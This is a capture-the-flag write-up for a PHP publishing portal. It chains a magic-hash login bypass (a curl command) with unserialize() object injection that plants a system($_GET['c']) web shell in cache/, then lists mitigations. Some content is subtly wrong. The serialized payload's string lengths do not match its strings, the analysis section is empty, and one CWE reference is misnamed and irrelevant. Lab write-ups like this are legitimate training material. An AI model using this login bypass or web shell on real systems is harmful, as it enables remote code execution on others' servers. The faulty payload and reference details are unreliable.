Overview
Marginalia Press is a small PHP publishing portal with an “Editor Portal” gated behind a login and a “Restore Manuscript Backup” feature that accepts base64-encoded data. Two distinct bugs chain together:
- PHP type juggling in the login check — the classic
0emagic hash collision. - PHP object injection in the restore handler — attacker-controlled
unserialize()with aBackupWritergadget that writes files to a web-servedcache/directory.
Chaining them yields authenticated RCE, and the flag sits in an environment variable of the PHP process.
Prerequisites / Setup
export TARGET="<challenge URL or IP>"
curl is sufficient; no wordlist or credentials are required beyond the disclosed editor_key_hash.
Recon
Step 1 — Inspect the editor portal
Goal: Find the source code and identify the two bugs.
The landing page is a submissions portal (index.php) with two other reachable pages: known_issues.php and editor_portal.php. Viewing the “Known Issues” page source reveals an HTML comment that amounts to a direct hint:
<!-- TODO: remove editor_portal.php.bak from the webroot, leftover from the CMS migration -->
Fetching /editor_portal.php.bak returns the full source of the editor portal.
Vulnerability Analysis
Exploitation
Step 1 — Bypass the login with a magic-hash MD5 collision
Goal: Authenticate as editor by supplying a password whose MD5 hash is a magic hash (0e\d+).
curl -s "$TARGET/editor_portal.php" \
-d "password=240610708" \
-d "submit=Login"
Any input whose MD5 digest starts with 0e followed only by digits will authenticate, because PHP’s == compares the hash strings as floating-point numbers.
Step 2 — Restore a malicious backup
Goal: Use object injection to write a PHP shell to the web root.
The restore handler takes base64-encoded data and unserializes it. Crafting a BackupWriter object with a malicious filename and contents writes a PHP shell to cache/:
O:11:"BackupWriter":2:{s:4:"file";s:13:"cache/shell.php";s:7:"content";s:38:"<?php system($_GET['c']); ?>";}
Base64-encode this object and submit it via the restore handler, then visit cache/shell.php?c=id to confirm code execution.
Flag
r00t{REDACTED}
Retrieved from an environment variable of the PHP process after authenticated RCE.
Lessons / Takeaways
- Never use
==to compare password hashes; usehash_equals()(constant-time string comparison) instead. - Never
unserialize()user-controlled data; use JSON or another safe serialization format instead. - Combine defense-in-depth: even if authentication is bypassed, object injection should not lead to file write and RCE.
Mitigations
- Use
hash_equals()for all password/hash comparisons. - Never pass user-controlled data to
unserialize(); use JSON or a safe serialization format. - Validate and restrict file upload targets to prevent writing PHP files to web-served directories.
- Run the PHP-FPM pool with least-privilege OS credentials and
open_basedirrestrictions.
Techniques
- PHP Type Juggling
- PHP Object Injection
- Authentication Bypass
- Remote Code Execution
References
- OWASP, “PHP Object Injection”: https://owasp.org/www-community/vulnerabilities/PHP_Object_Injection
- CWE-502: Deserialization of Untrusted Data: https://cwe.mitre.org/data/definitions/502.html
- CWE-835: Loop with Unreachable Exit Condition (‘Break Out of Loop’): https://cwe.mitre.org/data/definitions/835.html

